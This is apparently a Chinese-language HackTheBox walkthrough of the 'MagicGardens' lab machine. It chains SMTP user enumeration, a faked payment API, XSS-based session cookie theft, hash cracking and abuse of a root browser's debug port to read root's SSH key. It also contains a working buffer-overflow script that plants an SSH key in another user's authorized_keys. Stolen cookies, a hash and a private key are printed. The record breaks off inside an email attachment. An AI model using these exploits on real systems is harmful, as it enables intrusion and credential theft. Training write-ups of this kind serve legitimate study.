Recommand : Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦 : 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
MagicGardens
0x1 Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 e0:72:62:48:99:33:4f:fc :59:f8:6c:05:59:db:a7:7b (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE+EeX4lxNTcWYvgDh0dFVJlf0h9G0LwupXad6GDD9ct6lKEgELk3y0YuoNg/tOzn8t3TvhMsfAK2zB8dKfenM4= | 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYE2YyLpUp0IAWy3y5WUxFUEuF51LNMOevqPNzYKudU 25/tcp open smtp? syn-ack ttl 63 |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http syn-ack ttl 63 nginx 1.22.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://magicgardens.htb/ |_http-server-header: nginx/1.22.1 1337/tcp open waste? syn-ack ttl 63 | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s: |_ [x] Handshake error 5000/tcp open ssl/http syn-ack ttl 62 Docker Registry (API: 2.0) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn' t have a title.| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU | Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU | Public Key type : rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-05-23T11:57:43 | Not valid after: 2024-05-22T11:57:43 | MD5: 2f97:8372:17ae:abe4:a4d9:5937:f438:3e71 | SHA-1: a6f9:ce07:c808:150a:00aa:f193:1b72:a963:f414:f57c
從結果上可以看到有一個郵件服務器和一個docker api,嘗試從郵件服務器入手。
0x2 25 - Smtp - Enumeration of user names 因爲有郵件服務器,所以嘗試爆破一下用戶名。
1 2 3 4 5 6 7 8 9 10 11 12 $ /Tools/Tools/SmtpUserEnum/smtp-user-enum -U /Tools/Wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt 10.129.231.24 25 Connecting to 10.129.231.24 25 ... 220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU) 250 magicgardens.magicgardens.htb Start enumerating users with VRFY mode ... [----] info 550 5.1.1 <info>: Recipient address rejected: User unknown in local recipient table [----] admin 550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table <--- 此處省略 ---> [----] mail 252 2.0.0 mail [----] alex 252 2.0.0 alex [----] root 252 2.0.0 root
得到一些賬號,其中有一個alex的用戶,後面的爆破需要太長時間,所以我就停掉了。
0x3 80 - Web - Upgrade to premium 來到了80端口,打開一看他會自動跳轉到 http://magicgardens.htb/
,所以把他加入到hosts,然後去掃描一下子目錄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 $ feroxbuster -u "http://magicgardens.htb/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -d 1 404 GET 10l 21w 179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 0l 0w 0c http://magicgardens.htb/search => http://magicgardens.htb/search/ 301 GET 0l 0w 0c http://magicgardens.htb/login => http://magicgardens.htb/login/ 301 GET 0l 0w 0c http://magicgardens.htb/register => http://magicgardens.htb/register/ 200 GET 150l 456w 30261c http://magicgardens.htb/static/store/heart.png 200 GET 9l 68w 5087c http://magicgardens.htb/static/store/youtube.png 301 GET 0l 0w 0c http://magicgardens.htb/profile => http://magicgardens.htb/profile/ 200 GET 17l 219w 16221c http://magicgardens.htb/static/store/cart.png 200 GET 15l 73w 5934c http://magicgardens.htb/static/store/twitter.png 200 GET 140l 588w 8139c http://magicgardens.htb/catalog/Snowdrop 200 GET 147l 572w 8604c http://magicgardens.htb/catalog/Chrysanthemum 200 GET 126l 541w 7382c http://magicgardens.htb/catalog/Lilium 200 GET 151l 621w 8911c http://magicgardens.htb/catalog/Orchid 200 GET 151l 654w 9132c http://magicgardens.htb/catalog/Tulip 200 GET 122l 519w 7112c http://magicgardens.htb/catalog/Iris 200 GET 161l 616w 9222c http://magicgardens.htb/catalog/Carnation 200 GET 14l 80w 4316c http://magicgardens.htb/static/store/facebook.png 200 GET 112l 199w 14103c http://magicgardens.htb/static/store/star.png 200 GET 17l 113w 7571c http://magicgardens.htb/static/store/instagram.png 200 GET 36l 234w 16516c http://magicgardens.htb/static/store/logo.png 200 GET 143l 575w 8420c http://magicgardens.htb/catalog/Gerbera 200 GET 16l 128w 7376c http://magicgardens.htb/static/store/cart_dark.png 200 GET 156l 479w 35302c http://magicgardens.htb/static/store/catalog.png 200 GET 157l 611w 9042c http://magicgardens.htb/catalog/Rose 200 GET 163l 651w 48532c http://magicgardens.htb/static/store/favicon.png 200 GET 139l 325w 21887c http://magicgardens.htb/static/store/login.png 301 GET 0l 0w 0c http://magicgardens.htb/subscribe => http://magicgardens.htb/subscribe/ 200 GET 853l 5257w 330945c http://magicgardens.htb/media/uploads/lilium.jpg 301 GET 0l 0w 0c http://magicgardens.htb/catalog => http://magicgardens.htb/catalog/ 301 GET 0l 0w 0c http://magicgardens.htb/admin => http://magicgardens.htb/admin/ 200 GET 1048l 6639w 459217c http://magicgardens.htb/media/uploads/snowdrop.jpg 200 GET 1106l 6633w 449490c http://magicgardens.htb/media/uploads/orchid.jpg 200 GET 12113l 25015w 280602c http://magicgardens.htb/static/store/bootstrap.css 200 GET 1181l 6383w 526899c http://magicgardens.htb/static/store/promo_2.png 301 GET 0l 0w 0c http://magicgardens.htb/cart => http://magicgardens.htb/cart/ 200 GET 1820l 11235w 933970c http://magicgardens.htb/media/uploads/%D1%81hrysanthemum.jpg 200 GET 1091l 7314w 577616c http://magicgardens.htb/media/uploads/iris.jpg 200 GET 2336l 13564w 1082094c http://magicgardens.htb/static/store/promo.jpg 200 GET 1385l 7878w 615881c http://magicgardens.htb/media/uploads/gerbera.jpg 200 GET 1816l 11145w 869024c http://magicgardens.htb/media/uploads/tulip.jpg 200 GET 1359l 9638w 713065c http://magicgardens.htb/media/uploads/carnations.jpg 200 GET 2078l 11668w 895486c http://magicgardens.htb/media/uploads/rose.jpg 200 GET 458l 1853w 30861c http://magicgardens.htb/ 301 GET 0l 0w 0c http://magicgardens.htb/logout => http://magicgardens.htb/logout/ 301 GET 0l 0w 0c http://magicgardens.htb/check => http://magicgardens.htb/check/ 301 GET 0l 0w 0c http://magicgardens.htb/restore => http://magicgardens.htb/restore/ 301 GET 0l 0w 0c http://magicgardens.htb/wish_list => http://magicgardens.htb/wish_list/ [ [
看到有一個 /admin
,打開一看,是Django的後臺管理,查了一下,沒看到有exploit。
回到主頁,看起來是個購物的網站,
隨便打點東西
這就是熟悉的python後端,然後注冊一個賬號隨便買點東西
他告訴你,經理會聯係你,也就是說這裏會出現XSS,但是需要初出示二維碼,
可是我等了很久都沒有信息,
然後看了一下訂閲功能,原來是需要升級成尊貴的vip,才會被經理聯係,所以才會有xss,
這個時候看一下裏面的功能,點擊 Upgrade
之後看到下面的界面
用burp 抓一下:
看到他指定一個銀行的地址,假設銀行的地址指向本地會怎樣?
所以隨便開啓一個python服務器,然後改成自己的ip地址,點擊send看到:
也就是說服務器確實會去找銀行獲取信息,爲了知道服務器 post 了什麽内容,我用wireshark抓一下,
提交了,
1 {"cardname" : "mane" , "cardnumber" : "1111-2222-3333-4444" , "expmonth" : "September" , "expyear" : "2026" , "cvv" : "352" , "amount" : 25}
然後抓包的時候我還看到了一個銀行的地址: honestbank.htb
,所以看一下源碼,
把他加進去host,由於他是post,所以可以嘗試用curl去請求:
1 2 $ curl -X POST 'http://honestbank.htb/api/payments/' -d '{"cardname": "mane", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "352", "amount": 25}' {"status" : "402" , "message" : "Payment Required" , "cardname" : "mane" , "cardnumber" : "1111-2222-3333-4444" }
他返回了一個402,所以我有一個想法就是把他改成 200 看看會發生什麽:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flask, jsonify, request app = Flask(__name__) @app.route('/api/payments/' , methods=['POST' ]) def sleepisgood(): req_json = request.get_json() req_json['status' ] = "200" print (req_json) return jsonify(req_json) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80, debug=True)
然後重新抓一次包,銀行改成本地的ip,點擊發送
結果顯示訂閲在處理中,
注意 :當你第一次失敗了,你就要重新注冊一個新的帳號了。
如無意外的話會顯示訂閲成功:
那個二維碼好像怪怪的,看看路徑:
1 http://magicgardens.htb/qr_code/images/serve-qr-code-image/?text=MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjEuMGQzNDFiY2RjNjc0NmYxZDQ1MmIzZjRkZTMyMzU3Yjk%3D&cache_enabled=1&size=s&boost_error=1&encoding=utf-8&token=s.4..svg.m.kgFZjMoHcmjYoAlN809p%3AAhhmd7QLsu6VSF3ZnxxgNBJLEgx9HPRC3xGmkTi62so
看到他是輸入一些base64的内容然後輸出一個二維碼
1 2 $ echo 'MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjEuMGQzNDFiY2RjNjc0NmYxZDQ1MmIzZjRkZTMyMzU3Yjk=' | base64 -d 0cc175b9c0f1b6a831c399e269772661.0d341bcdc6746f1d452b3f4de32357b9
起初我以爲這裏面有漏洞,去谷歌了一下 qr_code/images/serve-qr-code-image
發現是使用 Django QR Code's documentation
: https://django-qr-code.readthedocs.io/en/latest/pages/README.html
但查了下倒是沒有什麽exploit的地方。
0x4 80 - Web - XSS to morty 有了二維碼之後,就可以嘗試買東西和經理聯係,隨便買點東西,
然後就會看到:
爲了測試這個網頁有沒有xss,我可以發一條信息,當前信息的id是15,如果我發的信息裏面包含xss 攻擊,那麽我發送的信息就是 16 ,所以我可以打開16這個信息,看看有沒有出發xss,
試了很多之後,很可惜任何的xss都被轉義了,所以嘗試從二維碼入手:
我用cyberchef製作了一個二維碼,根據他的格式,然後猜測是用 .
來做一個分隔符,所以我就在xss的payload前面加了一個 .
, 類似: <???>.<???>.<xss payload>
,
沒過多久,我得到了一個管理員的cookie,
1 csrftoken=RzHpUfcSEDyfym6GaNp4Ff9vzpUJYkFw; sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sANql:64cveWeZgkIFkYcMrvHCDiHjm911J67upnfE0x_HeKE
然後利用這個cookie,成功的來到了morty 這個用戶。
所以嘗試去後臺看看:
成功進去後臺,然後點擊左邊的用戶,看到了一個hash
1 pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE /U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=
用nth掃一下,然後用hashcat爆破,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ nth -t 'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=' _ _ _____ _ _ _ _ _ | \ | | |_ _| | | | | | | | | | | \| | __ _ _ __ ___ ___ ______| | | |__ __ _| |_ ______| |_| | __ _ ___| |__ | . ` |/ _` | '_ ` _ \ / _ \______| | | ' _ \ / _` | __|______| _ |/ _` / __| '_ \ | |\ | (_| | | | | | | __/ | | | | | | (_| | |_ | | | | (_| \__ \ | | | \_| \_/\__,_|_| |_| |_|\___| \_/ |_| |_|\__,_|\__| \_| |_/\__,_|___/_| |_| https://twitter.com/bee_sec_san https://github.com/HashPals/Name-That-Hash pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I= Most Likely Django(PBKDF2-HMAC-SHA256), HC: 10000 JtR: django
得到一個密碼:
1 pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE /U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
0xA - Bruteforce morty ssh password
事實上一開始自己給自己提升vip的時候,隨便買點東西也可以看到是 Morty
的用戶,然後同smtp驗證下用戶有沒有存在
1 2 3 4 5 6 $ /Tools/Tools/SmtpUserEnum/smtp-user-enum -u morty 10.129.231.24 25 Connecting to 10.129.231.24 25 ... 220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU) 250 magicgardens.magicgardens.htb Start enumerating users with VRFY mode ... [----] morty 252 2.0.0 morty
看起來確實有這個用戶,所以可以嘗試爆破:
等了沒到10分鐘,就爆破成功。
0x5 SSH - Walking with morty 然後直接用 linpeas 看看,看到一些奇怪的東西,有一個 alex
一直運行 harvest server
,而且他的郵件裏面有東西
1 2 3 4 5 6 7 8 9 alex 1836 0.0 0.2 18968 10644 ? Ss May23 0:00 /lib/systemd/systemd --user alex 1837 0.0 0.0 102708 3048 ? S May23 0:00 _ (sd-pam) alex 1856 0.0 0.0 2464 872 ? S May23 0:00 harvest server -l /home/alex/.harvest_logs ???????????? Mails (limit 50) 261278 4 -rw------- 1 alex mail 1594 Sep 29 2023 /var/mail/alex 296528 36 -rw------- 1 root mail 28923 Apr 11 09:32 /var/mail/root 261278 4 -rw------- 1 alex mail 1594 Sep 29 2023 /var/spool/mail/alex 296528 36 -rw------- 1 root mail 28923 Apr 11 09:32 /var/spool/mail/root
然後看了一下路徑,不像是開源的軟件。
1 2 morty@magicgardens:~$ whereis harvest harvest: /usr/local/bin/harvest
0xB Unintended Root - Debuging port 如圖所示,跑了linpeas之後看到紅色的debug port,
可以看到是用root運行的,而且并不是在container裏面,
1 2 3 4 5 6 7 root 819 0.0 0.0 6608 2740 ? Ss May23 0:00 /usr/sbin/cron -f root 825 0.0 0.0 8500 2752 ? S May23 0:00 _ /usr/sbin/CRON -f root 828 0.0 0.0 2576 916 ? Ss May23 0:00 _ /bin/sh -c sleep 90; /root/AI/AI.py root 1867 0.0 0.6 33704 25508 ? S May23 0:02 _ /usr/bin/python3 /root/AI/AI.py root 1868 0.0 0.1 9436 5388 ? Sl May23 0:00 _ /root/AI/geckodriver --port 59741 --websocket-port 40699 root 1875 2.5 8.5 11355552 343580 ? Sl May23 6:05 _ firefox-esr --marionette --headless --remote-debugging-port 40699 --remote-allow-hosts localhost -no-r emote -profile /tmp/rust_mozprofilekV2dpz
然後網上查了一下 chrome debug port 看到:https://chromedevtools.github.io/devtools-protocol/
所以嘗試用curl 請求看看,也就是說這個瀏覽器裏面開了一個選項卡而已:
1 2 3 4 5 6 7 8 9 10 11 12 morty@magicgardens:~$ curl http://127.0.0.1:40699/json/list [ { "description" : "" , "devtoolsFrontendUrl" : null, "faviconUrl" : "" , "id" : "2bcb56a9-b26d-4ed2-a3c7-33de00d9919e" , "type" : "page" , "url" : "http://magicgardens.htb/admin/store/order/" , "webSocketDebuggerUrl" : "ws://127.0.0.1:40699/devtools/page/2bcb56a9-b26d-4ed2-a3c7-33de00d9919e" } ]
然後用 websocat 進行交互:https://github.com/vi/websocat (官方例子也寫的不錯,不過還是要搭配上面chrome的文檔看)
由於chrome可以打開本地的文件,於是就讓chrome的打開 file:///root/.ssh/id_rsa
然後把他輸出成pdf,再保存下來,這樣就看到了root的ssh 密匙。
所以把websocat上傳到機器上,然後打開一個選項卡:
1 2 $ echo 'Target.createTarget {"url":"file:///root/.ssh/id_rsa"}' | ./websocat -n1 --jsonrpc --jsonrpc-omit-jsonrpc ws://127.0.0.1:40699/devtools/page/2bcb56a9-b26d-4ed2-a3c7-33de00d9919e {"id" :1,"result" :{"targetId" :"ecd3d2c1-cb39-4614-ae4c-9e9806379389" }}
由於對面的機器沒有jq,於是把他保存成json然後下載下來:
1 morty@magicgardens:~$ echo 'Page.printToPDF {"targetId":"ecd3d2c1-cb39-4614-ae4c-9e9806379389"}' | ./websocat -n1 --jsonrpc --jsonrpc-omit-jsonrpc ws://127.0.0.1:40699/devtools/page/ecd3d2c1-cb39-4614-ae4c-9e9806379389 > output.json
手動複製粘貼也可以,沒有多少内容
把他複製粘貼到本地的文件之後,用jq導出成pdf文件。
1 $ cat test.json | jq -r '.result.data' | base64 -d > output.pdf
然後得到了root的密鑰,使用這個密鑰就可以root了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn NhAAAAAwEAAQAAAIEAsyXq6mfyWfzHMRdLtAPytpPckxE8mcuf7Nunf9o+gwQg3h/B9N+L cWZTlmHCSmvDnFFfH9nTEG7ZGBntVpEAOAuWRYojNAFvYSvrDQMMRO/ErPSEFTmkKQtJdt ac0Xfs2aGHPpO9JdeNskgC3yQwv+8eLHNqXNTRtzGirD87PbsAAAII1XMGntVzBp4AAAAH c3NoLXJzYQAAAIEAsyXq6mfyWfzHMRdLtAPytpPckxE8mcuf7Nunf9o+gwQg3h/B9N+LcW ZTlmHCSmvDnFFfH9nTEG7ZGBntVpEAOAuWRYojNAFvYSvrDQMMRO/ErPSEFTmkKQtJdtac 0Xfs2aGHPpO9JdeNskgC3yQwv+8eLHNqXNTRtzGirD87PbsAAAADAQABAAAAgQCV4gB0E3 mZPjqtYM8ukisMBBOEW+R2y/1GXtP5zO+GD/srvCg7Jph0zObcJ3g1aYnkC9RpQoYq9oLd fjuqtHAYDVzTDoZHfc3BJC15iw7KoQiOXsrbO8P8aLomYbfiLgPsf0E3aARKjEX44j+ELv 2SPzhL1WHRAfu13Nbvf7ha6QAAAEAK83MYwkGkatXHuVEBjQuVKiJDr1A9IgDoGQ3/WVTu NNm57te2HnQuqK8CTxMOE6CiPXoEwO4UUgzVOXbNBbieAAAAQQDc6qe4ez2iTRZ0WoEfe9 heXP2ikBgn+JBeSmMYd5EHtMScCmBS06ooqnfAnaP6P2Y0AA4LeWIGYkI/PxyOqgVVAAAA QQDPmSrwc1bYM6tzvwDS0LYmibNUPpQh/eFPoUTs7AHErvpLve5Grygd38N5zWuKYA2xv9 NZtR9pU8HLUhC8HTbPAAAAEXJvb3RAbWFnaWNnYXJkZW5zAQ== -----END OPENSSH PRIVATE KEY-----
0x6 Analysis /usr/local/bin/harvest
大概看了一下,需要先打開監聽模式,軟件才會開始監聽網卡的流量,然後才可以利用裏面的bug去寫入文件。
0x6A 讓服務器打開監聽模式 由於 alex
這個用戶一直運行 harvest
,所以下載下來用ida打開看看:
一開始的時候會比較handshake,如果handshake正確的話才會開始監聽,但是在上面可以看到handshake是以 harvest v
開頭,後面還隱藏了一些字母或者是數字,所以
用gdb下了個斷點:
然後看到最後的是 1.0.3
也就是他的版本號,
於是就可以嘗試,結果成功的打開了監聽的模式。
0x6B 緩存區溢出
然後觀察了一下僞代碼,發現如果是ipv6的話就會顯示可疑的内容,然後記錄到文件。
也就是說默認ipv4是放行,但是是ipv6的話就會保存到文件,然後提示有問題。
爲了測試有沒有緩衝區溢出,所以嘗試用python僞造一個65500的包,發送過去看看,
1 2 3 4 5 6 7 import socket server_address = ('::1' ,6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = b'A' *65500 s.send(data)
爲了可以觀察到程序寫入了本地什麽文件,我使用了 strace -t -e trace=openat
來觀察程序寫了什麽路徑到本地,
你可以看到有很多AAAAA寫進去了本地,也就是說他真的有緩衝區溢出,爲了要確定文件名字在payload的哪個位置,所以用msf-pattern_create
來生成一個65500的payload:
1 msf-pattern_create -l 65500 > bof.txt
保存到文件之後用python出去看看:
得到:Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy
的文件名
也就是說文件名在payload的下列位置:
1 2 3 4 5 ?$ msf-pattern_offset -q Fu8F -l 65500 [*] Exact match at offset 4524 [*] Exact match at offset 24804 [*] Exact match at offset 45084 [*] Exact match at offset 65364
爲什麽會有四個位置?因爲msf不支持快速定位太大的payload,所以如果要生成太大的payload,就會重複一小段的payload,比如上面,生成65500的payload就重複了4次。
經過測試發現文件名在65364這個位置,於是可以寫一個脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ cat exp.py import socket server_address = ('::1' ,6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = '' with open('bof.txt' , 'rb' ) as f: data = bytearray(f.read()) replace = b"/tmp/mane.txt\r" data[65364:len(replace)] = replace s.send(data)
可以看到文件名以及成功被定位修改了,
然後在 /tmp
也可以看到這個文件名
1 2 $ ls /tmp 'mane.txt' $'\r' 'Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6'
這個時候只需要微調payload,就可以得到任意寫入文件名的長度:
下面是手動微調后的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ cat exp.py import socket server_address = ('::1' ,6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = '' with open('bof.txt' , 'rb' ) as f: data = bytearray(f.read()) replace = b"/tmp/mane.txt" s.send(data[:65372] + replace)
0x6C 那麽内容呢? 由於我要嘗試寫入一些内容,所以看看payload的内容有沒有出現在文件裏面:
可以看到開頭是 Aa4A
,由於文件這麽長,就猜測是從12開始,
1 2 3 4 5 $ msf-pattern_offset -q Aa4A -l 65500 [*] Exact match at offset 12 [*] Exact match at offset 20292 [*] Exact match at offset 40572 [*] Exact match at offset 60852
然後同樣的:
寫入一些内容看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import socket server_address = ('::1' ,6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = '' with open('bof.txt' , 'rb' ) as f: data = bytearray(f.read()) replace = b"/tmp/mane.txt" sendData = data[:65372] + replace inject = "mane1111" sendData[12:12+len(inject)] = inject.encode() s.send(sendData)
結果成功了,這樣我就可以利用它 寫入ssh key來登錄alex這個用戶了,所以生成一個ssh key:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/mane/.ssh/id_rsa): ./key Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./key Your public key has been saved in ./key.pub The key fingerprint is: SHA256:r1j/85xOA76kjIGPA1YeRrRgvgJoeJGw0U53N8LqJ2E mane@HTB The key's randomart image is: +---[RSA 3072]----+ |oo..oo. | |oo++..=.o | |=+...+.o . | |.o. E.+ | | .o.= .S . | | .= o. . . . | | . +. o . o o | | .= * o.+ o | | o.+ +.o+= | +----[SHA256]-----+ $ ls key* key key.pub
然後讓服務器開啓監聽模式:
1 2 morty@magicgardens:~$ echo "harvest v1.0.3" > /dev/tcp/127.0.0.1/1337 morty@magicgardens:~$ python3 exp.py
這樣運行exp,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import socket server_address = ('::1' ,6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = bytearray(b'\n' *65403) key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpdQ6GtEMBjQG0HQIyFFGyLA+3oXbZZR7J2cX4NUn4fmNwtjy4W3w0t5rlwYsDbX+c8gCquzQ+cH+TUuhvXRs10ch7PmLpvoCdRKMeU5tZzmchch7mfJlk2beYyfeM18q+UCfyov5p/XsRIgPYMMpSXGCCWy3tuO6DVQQTiFKjdIo6HHkuNlhQ7rIGl6oN0hQGApvILjwdDFvv/jYdC78eRZUOPDIlUdbJ/jXqjqRAfAZFbJgwPyCRc+8nrmKWjJA4HCqo62qUNb/Xx05FuLjfq58xVXGdOME+7YwHZOimdQss5LRTZNiqhUWlhBNTZbbYmPB+OZt/XUvtNmi7SWQor6V66xHMyhqePzxSt+cWr/ZOMd/rzT19fIER4ntqxGqjgnlmdApe24xopZh8hXxtYqzI+1PicDMJoqoP4Dm88BaKcpkeajvjmSXvaJN/guTb2D6MCbcNYS2HZtC7KysSwzdk0ZomVeUe3+hqW5cLiCEl7WanrZ0jzuQkWujyIv8= mane@HTB' replace = b"/home/alex/.ssh/authorized_keys" sendData = data[:65372] + replace sendData[12:12+len(key)] = key.encode() s.send(sendData)
文件就寫進去了。然後登陸看看:
成功到了alex這個用戶,總結如下:
Note : 這裏可能會不太明白,所以擧個例子:
假設你知道對面的服務器有溢出漏洞,像上面的那個例子一樣,是可以利用來寫文件的,
比如我發出去是: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
但是程序處理我的payload的時候溢出了,程序開始異常,通過一些debug的手法看到程序正在寫 Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A
的文件,文件内容是 Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0
因爲payload是可以控制,我只需要控制好payload是不是我就可以間接的讓程序寫入到哪裏,寫的内容是什麽?
也就是說文件路徑在我的payload的第90個位置,如果我想寫 /tmp/mane.txt
的内容是 power by mane
,
我就可以修改在90的位置開始改成 /tmp/mane.txt
,然後在 12的位置改成power by mane
然後用空格填充到90的位置:
原本: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
修改後: Aa0Aa1Aa2Aa3power by mane Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9/tmp/mane.txt (後面的用x00填充或者乾脆不填也可以)
那麽如何快速的定位在哪裏呢? 比較常用的是使用Overflow Exploit Pattern Generator這玩意,生成一堆有規律的字母,只需要知道4個字母就可以快速定位。
但是會有缺點,因爲他要求至少4個字母,很多情況下可能會吃掉一些字母(很少數,因爲都是8byte對齊這樣),而且會有最大長度的限制。
能不能手動的去猜呢? 可以,其實你也可以亂打一堆東西上去猜也沒問題,目的也只是爲了獲取位置(offset)在哪裏而已。
0x7 SSH - Walking with alex 一開始的時候看見郵件裏面有東西,於是就急忙看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 alex@magicgardens:~$ cat /var/mail/alex From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023 Return-Path: <root@magicgardens.magicgardens.htb> X-Original-To: alex@magicgardens.magicgardens.htb Delivered-To: alex@magicgardens.magicgardens.htb Received: by magicgardens.magicgardens.htb (Postfix, from userid 0) id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178" Subject: Auth file for docker To: <alex@magicgardens.magicgardens.htb> User-Agent: mail (GNU Mailutils 3.15) Date: Fri, 29 Sep 2023 09:31:49 -0400 Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb> From: root <root@magicgardens.magicgardens.htb> --1804289383-1695994309=:37178 Content-Type: text/plain; charset=UTF-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb> Use this file for registry configuration. The password is on your desk --1804289383-1695994309=:37178 Content-Type: application/octet-stream; name="auth.zip" Content-Disposition: attachment; filename="auth.zip" Content-Transfer-Encoding: base64 Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb> UEsDBAoACQAAANJKPVd7vIicUQAAAEUAAAAIABwAaHRwYXNzd2RVVAkAA5zPFmXfzxZldXgLAAEE 